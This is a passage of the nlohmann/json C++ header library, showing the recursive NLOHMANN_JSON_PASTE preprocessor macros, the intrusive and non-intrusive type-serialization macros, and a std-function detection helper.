v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25)\n#define NLOHMANN_JSON_PASTE27(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE26(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26)\n#define NLOHMANN_JSON_PASTE28(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE27(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27)\n#define NLOHMANN_JSON_PASTE29(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE28(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28)\n#define NLOHMANN_JSON_PASTE30(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE29(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29)\n#define NLOHMANN_JSON_PASTE31(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE30(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30)\n#define NLOHMANN_JSON_PASTE32(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE31(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31)\n#define NLOHMANN_JSON_PASTE33(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE32(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32)\n#define NLOHMANN_JSON_PASTE34(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE33(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33)\n#define NLOHMANN_JSON_PASTE35(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE34(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34)\n#define NLOHMANN_JSON_PASTE36(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE35(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35)\n#define NLOHMANN_JSON_PASTE37(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE36(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36)\n#define NLOHMANN_JSON_PASTE38(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE37(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37)\n#define NLOHMANN_JSON_PASTE39(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE38(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38)\n#define NLOHMANN_JSON_PASTE40(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE39(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39)\n#define NLOHMANN_JSON_PASTE41(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE40(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40)\n#define NLOHMANN_JSON_PASTE42(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE41(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41)\n#define NLOHMANN_JSON_PASTE43(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE42(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42)\n#define NLOHMANN_JSON_PASTE44(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE43(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43)\n#define NLOHMANN_JSON_PASTE45(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE44(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44)\n#define NLOHMANN_JSON_PASTE46(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE45(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45)\n#define NLOHMANN_JSON_PASTE47(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE46(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46)\n#define NLOHMANN_JSON_PASTE48(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE47(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47)\n#define NLOHMANN_JSON_PASTE49(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE48(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48)\n#define NLOHMANN_JSON_PASTE50(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE49(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49)\n#define NLOHMANN_JSON_PASTE51(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE50(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50)\n#define NLOHMANN_JSON_PASTE52(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE51(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51)\n#define NLOHMANN_JSON_PASTE53(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE52(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52)\n#define NLOHMANN_JSON_PASTE54(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE53(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53)\n#define NLOHMANN_JSON_PASTE55(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE54(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54)\n#define NLOHMANN_JSON_PASTE56(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE55(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55)\n#define NLOHMANN_JSON_PASTE57(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE56(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56)\n#define NLOHMANN_JSON_PASTE58(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE57(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57)\n#define NLOHMANN_JSON_PASTE59(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE58(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58)\n#define NLOHMANN_JSON_PASTE60(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE59(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59)\n#define NLOHMANN_JSON_PASTE61(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE60(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60)\n#define NLOHMANN_JSON_PASTE62(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE61(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61)\n#define NLOHMANN_JSON_PASTE63(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE62(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62)\n#define NLOHMANN_JSON_PASTE64(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE63(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63)\n\n#define NLOHMANN_JSON_TO(v1) nlohmann_json_j[#v1] = nlohmann_json_t.v1;\n#define NLOHMANN_JSON_FROM(v1) nlohmann_json_j.at(#v1).get_to(nlohmann_json_t.v1);\n#define NLOHMANN_JSON_FROM_WITH_DEFAULT(v1) nlohmann_json_t.v1 = nlohmann_json_j.value(#v1, nlohmann_json_default_obj.v1);\n\n/*!\n@brief macro\n@def NLOHMANN_DEFINE_TYPE_INTRUSIVE\n@since version 3.9.0\n*/\n#define NLOHMANN_DEFINE_TYPE_INTRUSIVE(Type, ...)  \\\n    friend void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \\\n    friend void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM, __VA_ARGS__)) }\n\n#define NLOHMANN_DEFINE_TYPE_INTRUSIVE_WITH_DEFAULT(Type, ...)  \\\n    friend void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \\\n    friend void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { const Type nlohmann_json_default_obj{}; NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM_WITH_DEFAULT, __VA_ARGS__)) }\n\n#define NLOHMANN_DEFINE_TYPE_INTRUSIVE_ONLY_SERIALIZE(Type, ...)  \\\n    friend void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) }\n\n/*!\n@brief macro\n@def NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE\n@since version 3.9.0\n*/\n#define NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(Type, ...)  \\\n    inline void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \\\n    inline void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM, __VA_ARGS__)) }\n\n#define NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE_ONLY_SERIALIZE(Type, ...)  \\\n    inline void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) }\n\n#define NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE_WITH_DEFAULT(Type, ...)  \\\n    inline void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \\\n    inline void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { const Type nlohmann_json_default_obj{}; NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM_WITH_DEFAULT, __VA_ARGS__)) }\n\n// inspired from https://stackoverflow.com/a/26745591\n// allows to call any std function as if (e.g. with begin):\n// using std::begin; begin(x);\n//\n// it allows using the detected idiom to retrieve the return type\n// of such an expression\n#define NLOHMANN_CAN_CALL_STD_FUNC_IMPL(std_name)                                 \\\n    namespace detail {                                                            \\\n    using std::std_name;                                                          \\\n    \\\n    template<typename... T>                                                       \\\n    using result_of_##std_name = decltype(std_name(std::declval<T>()...));        \\\n    }                                                                             \\\n    \\\n    namespace detail2 {                                                           \\\n    struct std_name##_tag                                                         \\\n    {                                                                             \\\n    };                                                                            \\\n    \\\n    template<typename... T>                                                       \\\n    std_name##_tag std_name(T&&...);                                              \\\n    \\\n    template<typename... T>                                                       \\\n    using result_of_##std_name = decltype(std_name(std::declval<T>()...));        \\\n    \\\n    template<typename... T>                                                       \\\n    struct would_call_std_##std_name                                              \\\n    {                                                                             \\\n        static constexpr auto const value = ::nlohmann::detail::                  \\\n                                            is_detected_exact<std_name##_tag, result_of_##std_name, T...>::value; \\\n    };                                                                            \\\n    } /* namespace detail2 */ \\\n    \\\n    template<typename... T>                                                       \\\n    struct would_call_std_##std_name : detail2::would_call_std_##std_name<T...>   \\\n    {                                                                             \\\n    }\n\n#ifndef 